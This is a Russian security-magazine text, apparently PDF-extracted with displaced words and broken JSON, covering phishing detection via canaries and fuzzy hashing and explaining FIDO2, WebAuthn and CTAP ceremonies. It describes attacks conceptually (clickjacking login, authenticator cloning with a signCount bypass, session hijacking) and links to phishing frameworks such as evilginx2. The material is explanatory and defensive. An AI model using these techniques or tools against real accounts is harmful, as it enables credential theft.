2. Скрипт определяет контекст, в  котором исполняется (например, URL),

и сопоставляет актуальное доменное имя с ожидаемым.
3. В случае несовпадения контекста скрипт отправляет сигнал на  сервер

Blue Team.

Делаем похожую канарейку на CSS:
1. Для невидимого глазу изображения (пиксель) создаем атрибут ,

который отправляет обращение серверу Blue Team.
url()

2. В HTTP-заголовке обращения передается значение Referer.
3. В случае несовпадения значения Referer с тем, что мы задали, отправляем

сигнал аналитику Blue Team.

Техника защиты на основе CSS-канарейки

Добавляем в белый список адресов различные CDN и ждем сигналы.

ВЫЯВЛЯЕМ ФИШИНГОВЫЕ РЕСУРСЫ С ПОМОЩЬЮ НЕЧЕТКОГО
ХЕШИРОВАНИЯ

Развитие инструментов проведения фишинговых атак приводит к росту числа
ресурсов, которые цепляют пользовательские и корпоративные учетные дан‐
ные. При этом существует много эффективных методов выявления этих инс‐
трументов (фиш‑китов): от   веб‑страниц до  применения
алгоритмов глубокого обучения.

анализа структуры

Помню, еще  в университете использовал алгоритмы нечеткого хеширо‐
вания для  поиска вредоносного кода, а  недавно встретил ,
в  котором эти же алгоритмы по‑прежнему эффективно применяются
для защиты от фишинга. Коротко о методе: создаем хеш‑значение артефакта
(например, веб‑страницы) и пытаемся определить степень сходства с хешем
вредоносного артефакта. Вот так просто, без ИИ. Но работает.

материал

Эффективность метода доказали на  примере известных фиш‑китов
и  страниц, которые замечены в  популярных таргетированных атаках. Иссле‐
дователи вычислили нечеткий хеш (TLSH) для  DOM-дерева полученной
веб‑страницы, сравнили ее с  хешем ранее замеченной фишинговой стра‐
ницы и таким образом обнаружили угрозу.

Если думаешь, как еще улучшить свой метод поиска угроз и аномалий, то
не  спеши прикручивать ИИ. Со  многими задачами по‑прежнему работают
алгоритмы «до эры ML».

https://t.me/makrushin
https://github.com/gophish/gophish
https://t.me/makrushin/305
https://attack.mitre.org/techniques/T1557/
https://link.springer.com/article/10.1007/s10207-021-00548-5
https://github.com/JoelGMSec/EvilnoVNC
https://github.com/fkasler/cuddlephish
https://github.com/kgretzky/evilginx2
https://github.com/drk1wi/Modlishka
https://github.com/muraenateam/muraena
https://github.com/ustayready/CredSniper
https://xakep.ru/2024/08/23/evilginx-gophish-guide/
https://www.researchgate.net/publication/358333176_Detecting_phishing_webpages_via_homology_analysis_of_webpage_structure
https://www.obsidiansecurity.com/blog/detecting-aitm-phishing-sites-with-fuzzy-hashing/
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защищенности

ВЗЛОМ

В этой статье мы с тобой проследим исто‐
рию идей беспарольной аутентификации.
Разберемся в  том, что такое FIDO2,
как  работают протоколы WebAuthn и  CTAP,
а  также обсудим их внутренние механизмы
защиты и  существующие атаки. Между
делом раскроем заговор массовой утечки
биометрических данных, посмотрим,
при  чем здесь Passkeys, и  попытаемся
понять, насколько близко беспарольное
будущее.

Идея отказаться от паролей — чуть ли не ровесница самих паролей. Однако
первые серьезные обсуждения этой темы начались примерно в  2004  году,
когда Билл Гейтс на конференции по безопасности RSA : «Нет никаких
сомнений, что со  временем люди будут полагаться на  пароли все меньше
и меньше. ...[пароли] просто не отвечают задаче защитить что‑либо действи‐
тельно ценное». Затем был дружный хор голосов из  IBM, Google и  прочих
компаний, проповедующих скорую кончину паролей. Но  с того выступления
Гейтса прошло уже двадцать лет, а  воз и  ныне там  — пароли по‑прежнему
живы.

заявил

Перед тем как мы двинемся дальше, освежим несколько базовых понятий:
  — это  процедура представления себя информацион‐

ной системе уникальным образом, то есть, проще говоря, вводя логин, ты
идентифицируешь себя.

• Идентификация

 — это процедура проверки подлинности, то есть, вво‐
дя правильный пароль, ты подтверждаешь, что являешься обладателем
аккаунта.

• Аутентификация

  — это  процесс предоставления прав пользователю,
который происходит внутри информационной системы.

• Авторизация

Нас в  контексте этой статьи интересует именно аутентификация. Де‑факто
стандартом для  нее стала комбинация логин  — пароль. Но  что же не  так
с паролями?

Люди часто не следуют рекомендациям безопасности: используют снова
и  снова один и  тот же пароль или  делают пароли слишком легкими
для  перебора. По  данным  за  2022  год, каждый поль‐
зователь имеет в  среднем четыре готовых пароля, причем у  каждого
третьего это вариации одного и того же пароля.

•

исследования

Пароли должны безопасно храниться, как  на стороне пользователя, так
и  на стороне сервисов. По   LastPass, современный пользователь
имеет в среднем 191 учетную запись, что намекает на потребность в 

, но люди используют бумажки и таблицы. С компаниями
не лучше — вспомнить хотя бы историю о том, как 

.

•
данным

ме‐
неджере паролей

в Facebook пароли хра‐
нились в открытом виде
Поскольку пароли стали стандартным средством аутентификации, у  зло‐
умышленников уже накопился опыт и  методы их подбора (словари, пра‐
вила, утилиты), которыми может воспользоваться даже скрипт‑кидди.
А  добавив сюда возможности социальной инженерии, злоумышленники
получают просто огромную поверхность атаки. По данным  

, от 80 до 90% всех атак включают использование скомпромети‐
рованных учетных данных.

•

разных иссле‐
дований

Да и  вообще, что говорить, когда Фернандо Корбато, впервые реализовав‐
ший механизм паролей в  1961  году, , что он не  предназначался
для веба и на текущий день превратился в кошмар.

заявлял

БЕСПАРОЛЬНАЯ ЭВОЛЮЦИЯ

С паролями все ясно, возможно, они действительно стали больше риском,
чем защитой, но что предлагается взамен?

Все началось в  1980-х, когда компания Security Dynamics Technologies
(сейчас RSA Security) создала первый аппаратный токен, генерирующий
одноразовые пароли (OTP). В  1998  году компания AT&T получила 
на двухфакторную аутентификацию, совместив пароль с OTP-кодом. В 2000-х
получила распространение система SSO. В  2011  году в  Motorola выпустили
первый смартфон со сканером отпечатка пальцев, а еще через два года то же
сделали и в Apple, снабдив iPhone датчиком Touch ID.

патент

Security Dynamics SecurID (OTP) и Motorola ATRIX 4G (сканер отпечатка)

Таким образом, эволюция аутентификации создала всего три фактора: 

 (что‑то, что ты знаешь),  (что‑то, что ты

имеешь) и   (что‑то, что характеризует тебя). Поэтому
фундаментально у нас есть следующие альтернативы:

фак-

торы знания факторы владения

факторы свойства

минимизировать недостатки парольной аутентификации (SSO, OAuth,
OpenID);

•

комбинировать факторы знания с другими факторами (2FA, MFA);•
не использовать факторы знания (беспарольная аутентификация).•

Если наша задача  — отказаться от  паролей, то подходит только последний
вариант. Будем исходить из  того, что беспарольная аутентификация (БА)  —
это  аутентификация, которая не  использует фактор знания (пароль, сек‐
ретный вопрос, пасс‑фраза). То есть нам остается выбор одного из двух фак‐
торов. Тем временем  (MFA) пред‐

полагает использование двух и  более различных факторов. Так что БА
и MFA — это разные вещи, которые не следует путать.

многофакторная аутентификация

Развею самое большое заблуждение о БА. Любое использование биомет‐
рии  — это  локальное решение производителя аутентификатора, но  даже
в этом случае никто никуда твои отпечатки или их производные не посылает
и ничего ими не подписывает, это касается и FIDO2, о котором пойдет речь
ниже. Многие путают использование биометрии и  БА, что порождает мас‐
совую истерию по поводу утечки биометрических данных.

ЗООПАРК FIDO

Путем логических рассуждений мы пришли к  использованию факторов вла‐
дения или  свойства. Звучит просто, но  для реализации нужны стандарты,
которыми  бы руководствовались разработчики сервисов и  производители
устройств.

С  2004  года были образованы OATH, OIDF, OASIS, IDSA, OIX и  другие.
Количество организаций и протоколов росло, компании пробовали создавать
продукты, но  ни к  какому общему решению не  пришли. Поэтому
в  июле  2012  года PayPal, Lenovo и  еще четыре компании основали альянс
FIDO (Fast IDentity Online),  которого стало «сократить всеобщую
зависимость от  паролей». Вопреки расхожему мнению, Google и  Microsoft
не  были среди основателей, а  присоединились только в  2013  году. Сейчас
в альянс FIDO входит несколько сотен компаний.

миссией

На первых порах новоиспеченный альянс объединил два независимых
проекта. Во‑первых, это Universal Authentication Framework (UAF), разработан‐
ный в  PayPal и  Validity Sensors,  — протокол, который предполагает исполь‐
зование биометрических данных для  аутентификации пользователя
без пароля на стороне мобильных устройств. Во‑вторых, это Universal Second
Factor (U2F), созданный в  Google и  Yubico. Этот протокол предполагает
использование внешнего токена безопасности как  второго фактора аутен‐
тификации, в  дополнение к  паролю. В  результате появились две специфи‐
кации: UAF 1.0 (8 декабря 2014 года) и U2F 1.0 (9 октября 2014 года), которые
можно условно назвать проектом FIDO 1.0.

Концепт выглядел отлично, но ему не хватало унификации, поэтому в сен‐
тябре 2015 года альянс FIDO объединил две спецификации и выпустил пред‐
ложение FIDO 2.0, которое было отправлено в  W3C. На  этой основе в  W3C
в мае 2016 года выпустили протокол WebAuthn, а альянс FIDO после несколь‐
ких доработок в июле 2017 года зарелизил протокол U2F 1.2 (он же CTAP 1.0).
Эту связку уже можно назвать полноценным проектом FIDO 2.0.

INFO

W3C (World Wide Web Consortium)  — это  меж‐
дународная организация по  стандартизации
веба. Есть и другие подобные организации, нап‐
ример WHATWG (поддерживает HTML) и  ECMA
(поддерживает JavaScript). Стандарты, выпущен‐
ные этими организациями, не  обязательные,
но общепризнанные.

W3C и FIDO регулярно выпускают новые итерации своих спецификаций. Так,
на  сегодняшний день стандартом является  от  2021  года
и   от 2022 года, но существует и новая версия, которая пока на этапе
предложения.

WebAuthn (Level 2)
CTAP 2.1

Эволюция проектов и протоколов альянса FIDO

На сегодняшний день FIDO2  — это  наиболее распространенное решение
альянса FIDO, хотя U2F также еще используется некоторыми веб‑сервисами
как метод 2FA, а UAF применяется в мобильных приложениях как метод под‐
тверждения действия, например транзакции в банковском приложении.

Итого нужно запомнить, что FIDO — это альянс, FIDO1 и FIDO2 — это про‐
екты, а не протоколы; UAF, U2F, CTAP и WebAuthn всех версий — это протоко‐
лы, у которых есть одноименные спецификации.

АРХИТЕКТУРА FIDO2

FIDO2 позиционируется как безопасный метод аутентификации, построенный
на  криптографии публичного ключа, и  состоит из  двух частей  — протоколов
WebAuthn и CTAP. Зачем два протокола? Так FIDO было легче формализовать
свое творение: W3C выпускает только стандарты для  веба, а  на стороне
устройств ничего не  решает. Поэтому и  получился такой полустандартный
стандарт, за  который отвечают одновременно некоммерческий консорциум
(W3C) и ассоциация коммерческих организаций (альянс FIDO).

Вначале скажу пару слов о том, что FIDO2 не покрывает. Вне поля зрения
протоколов остается то, как мы получаем аутентификатор (покупаем, или нам
его выдают на  работе), как  мы активируем аутентификатор (устанавливаем
свой отпечаток или код) и как хранятся наши ключи (шифрованное хранилище
или браузерный менеджер паролей).

Также , которые сейчас начинают пред‐

лагать на некоторых крупных сайтах. Дело в том, что в первых спецификациях
FIDO2 такого понятия не существовало, а позже словом Passkeys для удобс‐
тва начали называть те самые криптографические ключи. На  практике
Passkeys — это одна из реализаций ключа на основе криптографии, которая
может использоваться в  FIDO2  и  обладает другими полезными функциями,
например синхронизацией между устройствами. Но  стоит помнить, что
ни  WebAuthn, ни  CTAP не  регламентируют Passkeys. Это  в данный момент
просто самое распространенное решение.

FIDO2 не покрывает Passkeys

Основные участники взаимодействия — это:
пользователь;•
аутентификатор (Authenticator);•
устройство пользователя;•
JS-клиент устройства пользователя (клиент);•
ответственная сторона (Relying Party — RP).•

Протокол WebAuthn отвечает за взаимодействие между JS-клиентом и RP, его
можно условно назвать клиентским API. В большинстве случаев JS-клиент —
это  браузер пользователя, но  он может быть и  нативным приложением
для  Android или  iOS. Для  простоты будем считать понятия JS-клиент и  бра‐
узер, а также веб‑сайт и RP равнозначными.

Протокол CTAP регулирует отношения между аутентификатором и устрой‐
ством пользователя, его можно условно назвать API аутентификатора. Аутен‐
тификатор может быть встроенным, например Face ID, или  внешним, нап‐
ример аппаратный токен YubiKey, но  мы не  будем делать между ними раз‐
личий.

Данные CTAP может передавать через USB, NFC или  BLE (Bluetooth Low
Energy). Самые внимательные наверняка заметят, что у  нас остался пробел
во  взаимодействии между устройством пользователя и  JS-клиентом.
К сожалению, каждая платформа (ОС) решает этот вопрос по‑своему, здесь
четких стандартов нет.

Концептуально архитектура FIDO2  приведена на  рисунке ниже, а  ком‐
поненты разных цветов зависят от разных команд или даже вендоров.

Архитектура FIDO2

Продолжение статьи
→
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FIDO2
РАЗБИРАЕМСЯ СО СТАНДАРТАМИ

И БУДУЩИМ БЕСПАРОЛЬНОЙ
АУТЕНТИФИКАЦИИ

ВЗЛОМ 
НАЧАЛО СТАТЬИ←

ЦЕРЕМОНИЯ РЕГИСТРАЦИИ

Нет‑нет, речь сейчас пойдет не о загсе. В FIDO2 существует две церемонии:
церемония регистрации и церемония аутентификации. Давай начнем с пер‐
вой. Сразу оговоримся, что для  читаемости я буду использовать знакомые
всем форматы данных вместо байтовых ( ), которые на  самом

деле отправляются в полях вызовов.

Uint8Arrays

Для начала пользователь должен войти на сайт, найти форму регистрации,
ввести свой логин и нажать кнопку регистрации. Дальше RP формирует зап‐
рос  к браузеру. Этот массив содер‐

жит:

PublicKeyCredentialCreationOptions

, где   — это  домен, в  рамках которого будут действо‐
вать будущие ключи, а    — название ресурса в  читабельном
для человека виде.

• Данные RP rp.id

name

, где  — это уникальный идентификатор
пользователя в  системе RP,   — неуникальное имя
пользователя на  платформе (ник), а    — это  уже уникальный
логин пользователя.

• Данные пользователя user.id

user.displayName

user.name

 ( ) — это уникальное произвольное значение не мень‐

ше  16  байт. При  регистрации задачу не  подписывают, она служит
для защиты целостности данных.

• Задача сhallenge

 ( ), которые должен создать

аутентификатор. Здесь в порядке убывания приводятся предпочтительные
алгоритмы. Например, -7 означает ES256, а полный список от IANA можно
посмотреть в  .

• Требования к ключам pubKeyCredParams

документации
 ( ), так же

как  и  ( ), обычно устанавлива‐

ются только в  случае, если у  веб‑сервиса есть какие‑то требования
от  регулятора, например если это  правительственный или  банковский
ресурс. В  остальном здесь все более‑менее стандартно. Например,
аттестация в  99% случаев будет иметь значение , то есть «не тре‐
буется».

• Требования к аутентификатору authenticatorSelection

требования к аттестации attestation

none

Аттестация
Аттестация  — это  дополнительная процедура безопасности. Ее основная
цель в  том, чтобы установить модель аутентификатора. Ответственной сто‐
роне это необходимо для выполнения требований к безопасности, установ‐
ленных регулятором.

Если аттестация требуется, то сгенерированный публичный ключ будет
подписан аттестационным приватным ключом. Аттестационный приватный
ключ создается на аутентификаторе у производителя и уникален для каждой
модели устройства, произведенной в заданные временные рамки: например,
все YubiKey 5, произведенные с сентября по декабрь 2022 года, будут иметь
одинаковый ключ. Следом подписанный публичный ключ и  аттестационный
сертификат отправляются к RP.

RP может проверить аттестацию, а может и нет! Для установления доверия
RP проверяет цепочку сертификата от подписи производителя до корневого
сертификата GlobalSign. При  этом для  определения возможностей аутен‐
тификатора ответственной стороне необходимо загрузить и  ежемесячно
обновлять базу , которая содержит данные о  каждой модели аутен‐
тификатора.

MDS3

PublicKeyCredentialCreationOptions
{
  "rp": {

      "id": "subdomain.domain.com",
      "name": "Company Name"

   },
  "user": {

      "name": "i.ivanov@mail.ru",
      "displayName": "Ivan Ivanov",

      "id": "123e4567-e89b-12d3-a456-426655440000"
   },
  "challenge": "yGvVFCug1QLmaW4OnIYw7JONQP7XDSDNZ3SELT0PBhI",
  "pubKeyCredParams": [
   {

      "alg": -7,
      "type": "public-key"

   },
   {

      "alg": -257,
      "type": "public-key"

   }
 ],
  "authenticatorSelection": {

      "authenticatorAttachment": "platform",
      "residentKey": "required"

      "requireResidentKey": true,
      "userVerification": "discouraged"

 },
  "attestation": "none",
  "timeout": 30000,
  "excludeCredentials": [],
  "extentions": []
}

После получения запроса браузер вызывает функцию 

, в которой проверяет, что значение  совпадает
с  именем домена, а  также хеширует данные запроса. На  этом моменте
WebAuthn заканчивается, а  ОС вызывает 

у  аутентификатора через CTAP-протокол. В  целом большинство значений
этого массива тебе должно уже быть знакомо, укажем только
на  , который является упомянутым SHA-256-хешем данных

запроса, и  , которые содержат требования по  процедурам наличия

пользователя (UP) и верификации пользователя (UV) в числе прочих.

navigator.
credentials.create() rp.id

authenticatorMakeCredential

clientDataHash
options

Наличие и верификация пользователя
Обе церемонии (регистрации и аутентификации) требуют одну или обе про‐
цедуры  — наличие пользователя (UP) и  верификацию пользователя (UV).
UP — это обязательная базовая процедура, которая заключается во взаимо‐
действии пользователя с  аутентификатором. Например, нужно нажать
на  кнопку. UV  — это  более сложная, но  и опциональная процедура, когда
аутентификатор убеждается, что пользователь авторизован его исполь‐
зовать. Например, может быть нужно ввести пин или  предоставить биомет‐
рию.

Спецификации WebAuthn и  CTAP не  определяют эти процедуры строго,
говоря о  некоем «авторизационном жесте», который каждый производитель
может понять по‑своему. Для  FIDO2  разница в  том, что UV позволяет отли‐
чить разных пользователей одного аутентификатора, а UP — нет.

authenticatorMakeCredential
{
  "clientDataHash": "LNeTz6C...oYH2el7Mz1NsKQQF3Zq9ruMdVE",
  "rp": {

      "id": "subdomain.domain.com",
      "name": "Company Name"

   },
  "user": {

      "name": "i.ivanov@mail.ru",
      "displayName": "Ivan Ivanov",

      "id": "123e4567-e89b-12d3-a456-426655440000"
   },
  "pubKeyCredParams": [
   {

      "alg": -7,
      "type": "public-key"

   },
   {

      "alg": -257,
      "type": "public-key"

   }
 ],
  "excludeCredentials": [],
  "extentions": [],
  "options": {

      "rk": true,
      "up": true,
      "uv": false

   }
}

После получения запроса аутентификатор создает пару ключей и производит
другие действия, всего в алгоритме 19 шагов. В результате аутентификатор
возвращает операционной системе по  CTAP объект

. ОС передает его скучающей функции
, которая формирует

 и заканчивает свой цикл.

AuthenticatorAttestationResponse
navigator.credentials.create()
PublicKeyCredential

Возвращаемый аутентификатором 
часто называют просто , поэтому иногда можно услышать, что

весь процесс регистрации тоже носит название Attestation (аттестация),
но это скорее обиходное название, которое не следует путать с процессом
установления модели аутентификатора описанным выше. Форматы

 и   практически

идентичны, поэтому рассмотрим только последний:

AuthenticatorAttestationResponse
Attestation

AuthenticatorAttestationResponse PublicKeyCredential

Уникальный параметр  представляет собой идентификатор созданного
ключа.

• id

Интерес представляет массив , который содержит
 — это как раз те самые данные SHA-256, хеш которых

отправлялся аутентификатору, и  , где в большинстве
случаев  будет равно , так как  аттестация не  требуется,
а   будет в таком случае пустым.

• response

clientDataJSON

attestationObject

fmt none

attStmt

Внутри  находится и  самый важный для  нас массив
. Здесь в   скрывается хеш SHA-256  уже известного

нам , который определяет область действия ключа. Также видим
объект , который содержит идентификатор
аутентификатора ( ), идентификатор созданного ключа
( ) и сам публичный ключ ( ).

• attestationObject

authData rpIdHash

rp.id

attestedCredentialData

aaguid

credentialId credentialPublicKey

Важно обратить внимание на параметр , который увеличивает‐
ся с  каждым успешным подписанием задачи при  аутентификации. О  нем
мы еще вспомним, когда будем рассматривать одну из атак на протокол.

• signCount

PublicKeyCredential
{
  "id": "AV19-ikcu3tKuMxfFnRZ9gU6tnDH6QqzYwUg",
  "response": {

      "clientDataJSON": "ew0KCSJ0eXBl...A0KCSJjaGFsbGVuZ2UiIDogInlHdl
",

      "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdX...
jLvw6oUiKGB"

          "authData": "LNeTz6C0...hSIoYH2el7Mz1NsKQQF3Zq9ruMdV"
   },

      "transports": {
         "internal"
       },
 },
  "clientExtensionResults": {

      "credProps": {
          "rk": true

       }
   }
}

Компоненты массива в деталях:

 "clientDataJSON": {
    "challenge": "qNqrdXUrk5S7dCM1MAYH3qSVDXznb-6prQoGqiACR10",
    "origin": "https://subdomain.domain.com",
    "type": "webauthn.create",
    "crossOrigin": false,
    "tokenBinding": {

        "status": "unsupported"
     }
}

 "attestationObject": {
    "fmt": "none",
    "attStmt": [],
    "authData": "LNeTz6C0...hSIoYH2el7Mz1NsKQQF3Zq9ruMdV"
}

 "authData": {
    "rpIdHash": "LNeTz6C0GMu_DqhSIoYH2el7Mz1NsKQQF3Zq9ruMdVE",
    "flags": {

        "up": true,
        "uv": false,
        "at": true,
        "ed": false

   },
    "signCount": 0,
    "attestedCredentialData": {

        "aaguid": "YCiwF7HUTAK0s6_Nr8lrsg",
        "credentialId": "AV19-ikcu3tKuMxfFnRZ9gU6tnDH6QqzYwUg",

        "credentialPublicKey": "pAEDAzkWZFf4weLZ...
kjWm6vNvT-JWMqe39MBAAE"
 }
}

На финальном этапе браузер отправляет  к RP. RP про‐

изводит верификацию полученных данных, например проверяет, соответству‐
ют ли полученные ключи и  алгоритмы заявленным требованиям, проводит
аттестацию. Всего спецификация WebAuthn предполагает алгоритм
из 19 шагов. В случае успеха RP сохраняет  и публичный ключ
с метаданными у себя в базе. Далее пользователь чаще всего перенаправля‐
ется на страницу логина, чтобы войти.

PublicKeyCredential

credentialID

Церемония регистрации

ЦЕРЕМОНИЯ АУТЕНТИФИКАЦИИ

Вторая церемония  — это  церемония аутентификации. На  самом деле она
очень похожа на  описанную выше, а  массивы содержат меньше значений,
поэтому не  будем разбирать ее очень подробно. Для  начала пользователь
должен найти форму логина на сайте, ввести свой логин и нажать на кнопку
входа.

Conditional UI
Conditional UI (он же Passkeys autofill)  — это  возможность автозаполнения.
Это  не часть WebAuthn, а  дополнительная разработка, которую RP может
внедрить на фронте для удобства пользования.

Conditional UI работает только для  аутентификации и  поддерживается
большинством браузеров или встроенными вызовами ОС для нативных при‐
ложений. Conditional UI работает только с  обнаруживаемыми ключами (см.
ниже), а также может вступать в конфликт с возможностями автозаполнения
менеджеров паролей. При этом он не требует установки плагинов на стороне
пользователя.

RP формирует запрос  к  браузеру,

который содержит:

PublicKeyCredentialRequestOptions

Параметр . Стоит отдельно подчеркнуть, что WebAuthn не опи‐
сывает, как  это значение должно выглядеть и  каким алгоритмом соз‐
даваться.

• challenge

Параметр  определяет область доверия, в рамках которой действует
ключ. Если веб‑ресурс укажет его неправильно, то аутентификатор не най‐
дет ключа и мы никуда не попадем.

• rpId

Самый интересный параметр  — это  . Здесь RP ука‐
зывает идентификаторы ключей, которые уже зарегистрированы для дан‐
ного логина. Такое решение в  теории помогает избавить пользователя
от выбора ключа или регистрации нового аутентификатора, если он забыл,
на каком именно хранится ключ. Но с точки зрения безопасности выглядит
как прекрасная возможность для атаки подбора пользователей. Это поле
необязательно для  обнаруживаемых ключей, но  для необнаруживаемых
ключей его все‑таки придется заполнить.

• allowCredentials

Обнаруживаемые и необнаруживаемые ключи
Существует два типа ключей  — обнаруживаемые (discoverable или  resident)
и  необнаруживаемые (non-discoverable или  non-resident). Они различаются
по  месту хранения и  способу запроса. В  FIDO2  по  умолчанию создаются
обнаруживаемые ключи.

Обнаруживаемые ключи хранятся на аутентификаторе, а при логине аутен‐
тификатор предлагает пользователю выбрать, какой из  ключей для  домена
(rp.id) использовать.

Необнаруживаемые ключи не  хранятся на  аутентификаторе, а  создаются
как  производное от  мастер‑ключа аутентификатора и  сид‑значения.
При логине RP отправляет аутентификатору идентификатор ключа и сид‑зна‐
чение, а аутентификатор воссоздает ключ и подписывает задачу. Так как ключ
доступен в  памяти аутентификатора только определенное время, его
еще называют эфемерным, а сам аутентификатор не знает, что ключ сущес‐
твует, если ему не сказать об этом.

PublicKeyCredentialRequestOptions
{
  "publicKeyCredentialRequestOptions": {

      "challenge": "kYhXBWX0HO5GstIS02yPJVhiZ0jZLH7PpC4tzJI-ZcA=",
      "timeout": 30000,

      "rpId": "subdomain.domain.com",
      "userVerification": "discouraged",
      "allowCredentials": [

         {
            "id": "X9FrwMfmzj...",

            "type": "public-key"
         }
     ],

      "extensions": []
 }
}

Далее браузер вызывает функцию , в которой

проверяет, что значение  совпадает с доменом взаимодействия, а так‐

же хеширует данные запроса. На  этом моменте WebAuthn опять заканчива‐
ется, а ОС вызывает функцию  аутентификатора

через протокол CTAP.

navigator.credentials.get()
rp.id

authenticatorGetAssertion

Получив запрос, аутентификатор находит у себя приватный ключ и выпол‐
няет другие действия, включая взаимодействие с пользователем. Весь алго‐
ритм предполагает 13 шагов. В результате аутентификатор по CTAP возвра‐
щает операционной системе объект ,

который та передает в  . Эта функция фор‐
мирует  и заканчивает свой цикл.

AuthenticatorAssertionResponse
navigator.credentials.get()

PublicKeyCredential
Возвращаемый аутентификатором 

часто называют просто Assertion, поэтому иногда можно услышать, что весь
процесс аутентификации тоже носит название Assertion (подтверждение)  —
по аналогии с тем, как регистрацию часто называют аттестацией.

AuthenticatorAssertionResponse

Для наглядности давай посмотрим на  разницу в  отправляемых данных
массива  при регистрации и аутентификации.PublicKeyCredential

Обрати внимание на  параметр , который увеличился на  еди‐
ницу по  сравнению с  отправляемым во  время регистрации, так как  про‐
изошло успешное подписание задачи.

• signCount

Параметр  как  раз представляет собой задачу, подписанную
приватным ключом. По  сути, это  и есть подтверждение, доказывающее,
что пользователь владеет приватным ключом, который соотносится с хра‐
нящимся у RP публичным.

• signature

Параметр  для  нас по  форме новый, но  по содержанию
это уникальный идентификатор пользователя у ответственной стороны. То
есть ему присваивается известное нам значение .

• userHandle

user.id

PublicKeyCredential
{
  "id": "X9FrwMfmzj...",
  "response": {

      "authenticatorData": {
          "authData": {

            "rpIdHash": "LNeTz6C0GMu_DqhSIoYH2el7Mz1NsKQQF3Zq9ruMdVE"
,

            "flags": {
                "up": true,
                "uv": false,
                "at": false,
                "ed": false

             },
            "signCount": 1,

       },
      "clientDataJSON": {

          "challenge": "kYhXBWX0HO5GstIS02yPJVhiZ0jZLH7PpC4tzJI-ZcA",
          "origin": "https://subdomain.domain.com",

          "type": "webauthn.get"
       },

      "signature": "MEUCIQDNrG...HD3UWA",
      "userHandle": "123e4567-e89b-12d3-a456-426655440000"

   },
  "clientExtensionResults": []
}

На финальном этапе браузер отправляет  ответствен‐

ной стороне. Она верифицирует полученные данные, например проверяет,
совпадает ли . Весь алгоритм проверки в  спецификации
WebAuthn — это 23 шага. В случае успеха RP отправляет пользователю сес‐
сионный cookie.

PublicKeyCredential

challenge

Церемония аутентификации

АТАКИ НА FIDO2

FIDO2  предполагает защиту не  только от  слабых паролей, но  и от  фишин‐
говых и  MitM-атак, а  также повышенную приватность данных пользователя.
Более того, даже если хакеры взломают сервер компании, пользователи
не будут скомпрометированы. Давай разберемся со всеми этими утвержде‐
ниями по очереди.

Во‑первых, при взломе сервера секреты клиента действительно не будут
скомпрометированы, так как  на стороне веб‑сервиса хранится только пуб‐
личный ключ и  прочие метаданные, приватного ключа нет. Однако все, что
этот приватный ключ защищал, окажется в руках злоумышленников — то есть
те самые дорогие нашему сердцу данные.

Во‑вторых, фишинг. Здесь тоже согласимся с разработчиками стандарта:
мы помним, что при  регистрации RP обменивается с  браузером значением

, к  которому привязывается приватный ключ. Поэтому, даже если ты

войдешь не в ту дверь, аутентификатор ничего не подпишет. Но ничего прин‐
ципиально нового здесь нет, любой менеджер паролей обладает такой фун‐
кцией.

rp.id

Переходим к  самому интересному. Атака синхронизированного логина
специфична для  FIDO2, но  опирается на  старый добрый кликджекинг
(clickjacking). Если на  уязвимом сайте установить невидимый фрейм, внутри
которого поместить панель для  логина с  другого домена, где пользователь
тоже зарегистрирован, произойдут обе аутентификации: та, которую поль‐
зователь запланировал, и та, которую запланировал злоумышленник.

Кто‑то обязательно скажет, что аутентификатор показывает пользователю
уведомление о  том, на  какой ресурс он заходит. Однако Тарун Кумар Ядав
отметил в  своем исследовании ( ), что только один из  двадцати поль‐
зователей проверяет доменное имя в поп‑апе, а двойное нажатие на аутен‐
тификатор никто не считает зловредным.

PDF

Еще одна интересная атака — это клонирование аутентификатора. Сейчас
это  сложная задача, но  не невыполнимая. Так, в  2024  году специалистам
NinjaLab удалось успешно  аппаратные ключи YubiKey 5.клонировать

У FIDO2  есть защита от  подобных типов атак  — тот самый ,

который при  несовпадении на  стороне аутентификатора и  RP не  позволит
успешно завершить вход. Но  этот механизм защиты легко обходится. Дело
в  том, что аутентификатор увеличивает  после каждой успешной

подписи задачи, а  RP  — после каждой успешной аутентификации, то есть,
по сути, обе стороны действуют независимо.

signCount

signCount

Предположим, что злоумышленник скопировал твой аппаратный токен,
когда  равен  200, обозначим это  как A  = 200, L = 200  от  слов
Assertion на стороне аутентификатора и Login на стороне RP. Ход атаки про‐
демонстрирован в таблице ниже. Злоумышленник успешно входит на ресурс,
при этом A увеличивается только у него, а L — у всех участников.

signCount

Когда пользователь попробует залогиниться, получит ошибку, так как A и L
совпадать не  будут, но  аутентификатор пользователя успешно подпишет
задачу и увеличит , а RP не осуществит успешного логина и оста‐
вит значение  неизменным. Соответственно, оба значения срав‐

няются и при второй попытке логина пользователь успешно зайдет в аккаунт.
К сожалению, сайты показывают только общее сообщение об ошибке, часто
прося пользователя повторить вход, когда ошибки уже не возникнет.

signCount
signCount

Этап
Злоумыш-

ленник
Жертва

1. Изначальное значение A = 200, L = 200 A = 200, L = 200

2. Злоумышленник вошел A = 201, L = 201 A = 200, L = 201

3. Жертва пытается войти A = 201, L = 201
Ошибка, так как A !=
L

4. Жертва пытается войти сно‐
ва

A = 201, L = 201 A = 201, L = 201

Можно еще  вспомнить простую атаку с  кражей сессии (session hijacking).
Даже после супер‑пупер‑защищенной аутентификации мы остаемся наедине
с протоколом HTTP, который не хранит состояния и опирается на cookie-фай‐
лы. Поэтому, если сайт подвержен, например, XSS, можно полностью зав‐
ладеть сессией пользователя. Да и MitM-атаки никак не предотвращаются.

FIDO2 опирается на TLS-соединение, при этом MitM с началом примене‐
ния TLS никуда не пропали. Так что не стоит надеяться на отсутствие проблем
и в данном случае.

Говорить о  случаях, когда корневой сертификат находится у  твоей орга‐
низации или у государственного агентства, я думаю, даже не стоит. Ситуацию
могла  бы спасти технология Token Binding ( ), которая привязывает
TLS-соединение к  браузеру пользователя, но, к  сожалению, в  FIDO2  она
необязательна, а браузеры ее практически не поддерживают.

RFC 8471

Как видим, у FIDO2 есть внутренние уязвимости протоколов и он не дает
защиту от  многих атак. Например, в  исследовании Михала Кепковски 

 пример удаленной атаки по  времени для  определения ключей, име‐
ющихся на аутентификаторе. Исследователь также указывает и на то, что про‐
цедура UP легко симулируется, а, поскольку большинство ответственных сто‐
рон не требуют UV, это создает еще один вектор обхода механизмов защиты
FIDO2.

при‐
веден

Тарун Кумар Ядав также указывает, что  47% браузерных расширений
из  Chrome Web Store могут осуществить как  минимум пять специфичных
для  FIDO2  атак, хотя действительно вредоносных расширений, нацеленных
на такие атаки, найдено не было.

